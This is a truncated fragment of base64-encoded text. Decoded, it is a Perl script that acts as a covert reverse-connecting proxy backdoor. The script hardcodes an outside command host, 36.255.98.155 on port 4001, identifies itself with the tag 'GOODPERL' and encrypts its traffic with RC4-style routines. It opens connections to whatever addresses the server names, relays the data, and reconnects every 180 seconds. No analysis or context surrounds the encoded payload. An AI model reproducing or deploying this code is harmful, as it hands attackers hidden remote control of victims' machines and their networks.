ik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWlua